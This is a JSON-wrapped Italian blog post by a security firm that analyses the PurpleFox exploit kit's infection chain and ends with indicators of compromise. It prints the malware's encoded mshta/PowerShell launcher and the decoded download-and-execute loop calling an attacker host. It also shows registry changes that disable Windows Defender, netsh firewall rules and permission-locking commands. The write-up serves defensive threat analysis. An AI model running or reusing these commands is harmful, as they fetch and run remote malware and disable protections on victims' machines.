{"id":1765,"date":"2021-02-02T20:18:53","date_gmt":"2021-02-02T18:18:53","guid":{"rendered":"https:\/\/fortgale.com\/news\/?p=1765"},"modified":"2021-02-02T20:18:53","modified_gmt":"2021-02-02T18:18:53","slug":"purplefox-exploitkit-italia","status":"publish","type":"post","link":"https:\/\/fortgale.com\/blog\/cyber-security-news\/purplefox-exploitkit-italia\/","title":{"rendered":"PurpleFox: Analisi della catena di compromissione"},"content":{"rendered":"<p><!--StartFragment--><\/p>\n\n\n<p style=\"text-align: justify\">Nel mese di Gennaio 2021, il team Fortgale ha rilevato e gestito allarmi di sicurezza relativi a dei tentativi di compromissione di postazioni di lavoro eseguiti per mezzo dell&#8217;<strong>Exploit Kit PurpleFox<\/strong>.<\/p>\n<p style=\"text-align: justify\">L&#8217;immagine che segue rappresenta lo schema della compromissione osservato durante la nostra analisi:<\/p>\n\n\n\n<figure class=\"wp-block-image alignwide is-style-zoooom\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/PurpleFox-flow-1024x269.png\" alt=\"\" class=\"wp-image-1785\" loading=\"lazy\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center\"><a href=\"https:\/\/fortgale.com\/it\/#contact\" class=\"ek-link\">Dettagli del servizio di Difesa Gestita di Fortgale.<\/a><\/p>\n\n\n\n<h2 class=\"has-text-align-center wp-block-heading\">Exploit Kit &amp; Purple Fox<\/h2>\n\n\n\n<p style=\"text-align: justify\"><span>Un <strong>E<\/strong><\/span><strong>xploit Kit<\/strong><span> \u00e8 un kit di strumenti offensivi utilizzato dai criminali per compromettere le <em>workstation<\/em> durante la navigazione Internet. Il Kit sfrutta solitamente vulnerabilit\u00e0 dei <strong>Browser<\/strong> e software come <strong>Adobe Flash<\/strong>, <strong>Java<\/strong>, <strong>Microsoft Silverlight<\/strong>.<\/span><\/p>\n<p style=\"text-align: justify\"><strong>PurpleFox<\/strong> \u00e8 un Exploit Kit il cui obiettivo \u00e8 quello di eseguire codice PowerShell per il download di <em>malware Rootkit<\/em>. Identificato per la prima volta nel 2018, ecco una lista degli articoli tecnici che hanno trattato questa minaccia:<\/p>\n<ul>\n<li><a href=\"https:\/\/blog.360totalsecurity.com\/en\/purple-fox-trojan-burst-out-globally-and-infected-more-than-30000-users\/\">Purple Fox Trojan burst out globally and infected more than 30,000 users | 360 Total Security Blog<\/a><\/li>\n<li><a href=\"https:\/\/www.trendmicro.com\/en_ca\/research\/19\/i\/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html\">\u2018Purple Fox\u2019 Malware Can Rootkit and Abuse PowerShell (trendmicro.com)<\/a><\/li>\n<li><a href=\"https:\/\/www.proofpoint.com\/us\/blog\/threat-insight\/purple-fox-ek-adds-exploits-cve-2020-0674-and-cve-2019-1458-its-arsenal\">Purple Fox EK Adds Exploits for CVE-2020-0674 and CVE-2019-1458 to its Arsenal | Proofpoint US<\/a><\/li>\n<li><a href=\"https:\/\/labs.sentinelone.com\/purple-fox-ek-new-cves-steganography-and-virtualization-added-to-attack-flow\/\">Purple Fox EK | New CVEs, Steganography, and Virtualization Added to Attack Flow &#8211; SentinelLabs (sentinelone.com)<\/a><\/li>\n<\/ul>\n\n\n\n<h2 class=\"has-text-align-center wp-block-heading\">La Catena di compromissione<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Avvio della compromissione<\/h3>\n\n\n\n<p style=\"text-align: justify\">Come gi\u00e0 osservato in precedenti analisi, l&#8217;attacco risulta partire durante la navigazione alla pagina web hxxp:\/\/speedjudgmentacceleration[.]com .<\/p>\n<p style=\"text-align: justify\">Sfruttando una vulnerabilit\u00e0 di <em>Adobe Flash,<\/em> viene avviata la catena di compromissione della postazione tramite il comando:<\/p>\n<p style=\"text-align: left\"><code>mshta vbscript:createobject(\"wscript.shell\").run(\"PowerShell -nop -windowstyle hidden -exec bypass -EncodedCommand DQAKAGYAbwByACgAJABpAD0AMQA7ACQAaQAgAC0AbABlACAAMQAwADsAJABpACsAKwApAA0ACgB7AA0ACgBpAGUAeAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBhAHcAYwBkAG4ALgBnAGkAdABoAGEAYwBrAC4AYwB5AG8AdQAvAHUAcAAuAHAAaABwAD8AawBlAHkAPQAxACIAKQANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQA4ADAADQAKAH0ADQAKAA==\",0)(window.close)<\/code><\/p>\n<p>Decodifica in base64:<\/p>\n<p style=\"text-align: left\"><code><span>for($i=1;$i -le 10;$i++) { iex(new-object net.webclient).downloadstring(\"http:\/\/rawcdn.githack.cyou\/up.php?key=1\") Start-Sleep 180 }<\/span><\/code><\/p>\n<p style=\"text-align: justify\">Questo comando esegue il download (10 tentativi) e l&#8217;avvio di altro codice malevolo presente alla pagina hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=1 che contiene ulteriori istruzioni per il <em>payload<\/em> finale.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. Modifiche al sistema e controlli<\/h3>\n\n\n\n<p style=\"text-align: justify\">Lo script comincia con la definizione di un nuovo tipo, all&#8217;interno del quale verranno importate le funzioni <strong>MsiInstallProduct<\/strong> e <strong>MsiSetInternalUI<\/strong> della libreria&nbsp;<strong>msi.dll<\/strong>, necessarie per l&#8217;installazione del <em>malware <\/em>e per nascondere il pop-up.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img1-300x106.png\" alt=\"\" class=\"wp-image-1775\" width=\"586\" height=\"207\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<p style=\"text-align: justify\">Successivamente lo script definisce un blocco di comandi che trasformer\u00e0 in stringa e codificher\u00e0 in base64. L&#8217;insieme di comandi viene usato per scaricare ed installare, attraverso <strong>MsiInstallProduct<\/strong>, una delle due risorse presenti in <strong>$msipathALL<\/strong>. Il tutto viene inserito in un loop che termina soltanto se viene trovato il valore di registro <code>HKCU:\\Software\\7-Zip\\StayOnTop<\/code><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img2-300x65.png\" alt=\"\" class=\"wp-image-1776\" width=\"656\" height=\"142\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img3-300x8.png\" alt=\"\" class=\"wp-image-1777\" width=\"978\" height=\"26\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img4-300x8.png\" alt=\"\" class=\"wp-image-1778\" width=\"954\" height=\"25\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<p style=\"text-align: justify\">Entrambe le risorse, nonostante presentino estensioni differenti, sono dei file <strong>MSI <\/strong>identici (stesso hash). Questo \u00e8 il <em>payload<\/em> finale per la compromissione della postazione:<\/p>\n\n\n\n<p><code><strong>SHA-256<\/strong><\/code> <code>d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Check privilegi amministrativi<\/h3>\n\n\n\n<p style=\"text-align: justify\"><span>Prima di eseguire il comando codificato attraverso una nuova chiamata PowerShell, il malware verifica di avere privilegi amministrativi:<\/span><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img6-300x31.png\" alt=\"\" class=\"wp-image-1780\" width=\"668\" height=\"69\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<p style=\"text-align: justify\">Nel caso di esito negativo, in base all&#8217;architettura del sistema, vengono scaricati ed eseguiti script contenenti exploit per effettuare attivit\u00e0 di &#8220;<em><strong>local privilege escalation<\/strong><\/em>&#8220;.<\/p>\n\n\n\n<p><code><strong>x32<\/strong><\/code> <code>hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=3<\/code><br><strong><code>x64<\/code><\/strong> <code>hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=4<\/code><\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img5-300x23.png\" alt=\"\" class=\"wp-image-1779\" width=\"666\" height=\"51\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter is-resized\"><img decoding=\"async\" src=\"https:\/\/fortgale.com\/news\/wp-content\/uploads\/sites\/2\/2021\/02\/purplefox_img7-300x127.png\" alt=\"\" class=\"wp-image-1781\" width=\"670\" height=\"283\" loading=\"lazy\" \/><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">4. Il ruolo del file MSI<\/h3>\n\n\n<p><!--EndFragment--><\/p>\n\n\n<p>Il Rootkit viene scaricato dagli URL:<\/p>\n<ul>\n<li><code>hxxp:\/\/rawcdn[.]githack[.]cyou\/up.php?key=2<\/code><\/li>\n<li><code>hxxp:\/\/rawcdn[.]githack[.]com\/x7hGFE28oiG8kDre\/BGuoFr0ACb9E0frq\/afb90fd8276b3530cf1e526e60f8e1d61077e2a5\/M001.jpg<\/code><\/li>\n<\/ul>\n<p style=\"text-align: justify\">Come gi\u00e0 evidenziato in precedenza, i file risultano essere entrambi lo stesso <strong>dropper <\/strong>sotto forma di <em>installer <\/em><strong>MSI <\/strong>che, durante il processo di installazione, crea nel sistema i file:<\/p>\n<ul>\n<li>un file con estensione&nbsp;<strong>.ini<\/strong><\/li>\n<li>un file con estensione&nbsp;<strong>.log<\/strong> o&nbsp;<strong>.xml&nbsp;<\/strong>(in base all&#8217;architettura del sistema)<\/li>\n<\/ul>\n<p style=\"text-align: justify\">Il <em>malware <\/em>MSI, dopo aver salvato i due file, effettua alcune modifiche al registro di sistema:<\/p>\n<ul>\n<li>crea il valore <code>HKCU:\\Software\\7-Zip\\StayOnTop<\/code> che verr\u00e0 usato come controllo per la verifica dell&#8217;avvenuta installazione<\/li>\n<li>disabilita Windows Defender creando i valori<br><code>HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware&nbsp;<br>HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\DisableAntiSpyware<\/code><\/li>\n<li>imposta delle operazioni da eseguire al riavvio del sistema:<br><code>HKLM\\System\\CurrentControlSet\\Control\\SessionManager\\PendingFileRenameOperations<\/code><br><code>\\??\\C:\\Windows\\AppPatch\\Acpsens.dll, ,<\/code><br><code>\\??\\C:\\Windows\\system32\\sens.dll, \\??\\C:\\Windows\\AppPatch\\Acpsens.dll,<\/code><br><code>\\??\\C:\\Windows\\system32\\sens.dll, ,<\/code><br><code>\\??\\C:\\Windows\\.xml, \\??\\C:\\Windows\\system32\\sens.dll, <\/code><br><code>\\??\\C:\\Windows\\AppPatch\\Ke583427.xsl, ,<\/code><br><code>\\??\\C:\\Windows\\.ini, \\??\\C:\\Windows\\AppPatch\\Ke583427.xsl<\/code><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5. Modifiche al sistema<\/h3>\n\n\n\n<p style=\"text-align: justify\">Infine, il malware applica delle modifiche al Firewall di sistema (porte TCP e UDP) e modifica i permessi di <strong>jscript.dll<\/strong> e <strong>cscript.exe<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table alignfull\"><table class=\"\"><tbody><tr><td class=\"has-text-align-center\" data-align=\"center\"> <code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filterlist name=Filter1<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=2222 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=3333 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=4444 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=5555 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=6666 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=8888 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9000 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add filter filterlist=Filter1 srcaddr=Me dstaddr=any dstport=9999 protocol=TCP<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static add rule name=Rule1 policy=qianye filterlist=Filter1 filteraction=FilteraAtion1<\/code><br><code>\"C:\\Windows\\SysWOW64\\netsh.exe\" ipsec static set policy name=qianye assign=y<\/code> <br> <code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\system32\\jscript.dll<\/code><br><code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\system32\\jscript.dll \/E \/P everyone:N<\/code><br><code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\syswow64\\jscript.dll<\/code><br><code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\syswow64\\jscript.dll \/E \/P everyone:N<\/code><br><code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\system32\\cscript.exe<\/code><br><code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\system32\\cscript.exe \/E \/P everyone:N<\/code><br><code>\"C:\\Windows\\SysWOW64\\takeown.exe\" \/f C:\\Windows\\syswow64\\cscript.exe<\/code><br><code>\"C:\\Windows\\SysWOW64\\cacls.exe\" C:\\Windows\\syswow64\\cscript.exe \/E \/P everyone:N<\/code> <\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p style=\"text-align: justify\">Il malware termina le attivit\u00e0 eseguendo il comando: &nbsp;<\/p>\n\n\n\n<p class=\"has-text-align-center\"> <code>\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Start-Sleep -Seconds 900; Restart-Computer -Force<\/code> <\/p>\n\n\n\n<p>che consiste nel riavvio del sistema dopo 15 minuti, forzando l&#8217;esecuzione della libreria &nbsp;<strong>sens.dll<\/strong> alla riaccensione.<\/p>\n<p style=\"text-align: justify\">Quest&#8217;ultima risulta di centrale importanza per la persistenza e il controllo del sistema compromesso. Infatti, sfruttando la creazione di un servizio, il malware viene avviato con la creazione di un processo <strong>svchost<\/strong> e la conseguente <em>injection<\/em> dello <strong>shellcode .<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Indicatori di Compromissione<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">SHA-256<\/h3>\n\n\n\n<ul>\n<li style=\"text-align: left\">\n<p><code>d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc<\/code> <strong>MSI installer<\/strong><\/p>\n<\/li>\n<li>\n<p class=\"\"><code>9845e02032d02130bde3ffe2a16ec9706893aa9c8db5712beed6f129a74ffb35<\/code>&nbsp;<strong>sens.dll (x64)<\/strong> &#8211; <a href=\"https:\/\/www.virustotal.com\/gui\/file\/9845e02032d02130bde3ffe2a16ec9706893aa9c8db5712beed6f129a74ffb35\/detection\">VirusTotal<\/a><\/p>\n<\/li>\n<li>\n<p class=\"lang:default decode:true  \"><code>bcefd583e2562fbf38b28118eda0957ac96c3945d12868eaa9bc06f93da5e4db<\/code>&nbsp; <strong>sens.dll (x32)<\/strong> &#8211;&nbsp;<a href=\"https:\/\/www.virustotal.com\/gui\/file\/bcefd583e2562fbf38b28118eda0957ac96c3945d12868eaa9bc06f93da5e4db\/detection\">VirusTotal<\/a><\/p>\n<p><\/p>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Domini<\/h3>\n\n\n\n<ul>\n<li><code>speedjudgmentacceleration[.]com<\/code><\/li>\n<li><code>rawcdn[.]githack[.]cyou<\/code><\/li>\n<li><code>rawcdn[.]githack[.]com<\/code><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Dettagli del servizio di Difesa Gestita di Fortgale. Exploit Kit &amp; Purple Fox La Catena di compromissione 1. Avvio della compromissione 2. Modifiche al sistema e controlli SHA-256 d88ce4ccca6bc536dd3b80374be5e3f5ec9ffd96dc122352386dd4ca9af01cfc 3. Check privilegi amministrativi x32 hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=3&#215;64 hxxp:\/\/rawcdn[.]githack[.]cyou\/up[.]php?key=4 4. Il ruolo del file MSI 5. Modifiche al sistema &#8220;C:\\Windows\\SysWOW64\\netsh.exe&#8221; ipsec static add filterlist name=Filter1&#8243;C:\\Windows\\SysWOW64\\netsh.exe&#8221; ipsec static add [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1829,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[140,212,235,272,279],"class_list":["post-1765","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cyber-security-news","tag-exploitkit","tag-malware","tag-mshta","tag-powershell","tag-purplefox"],"_links":{"self":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts\/1765","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/comments?post=1765"}],"version-history":[{"count":0,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/posts\/1765\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/media?parent=1765"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/categories?post=1765"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fortgale.com\/blog\/wp-json\/wp\/v2\/tags?post=1765"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}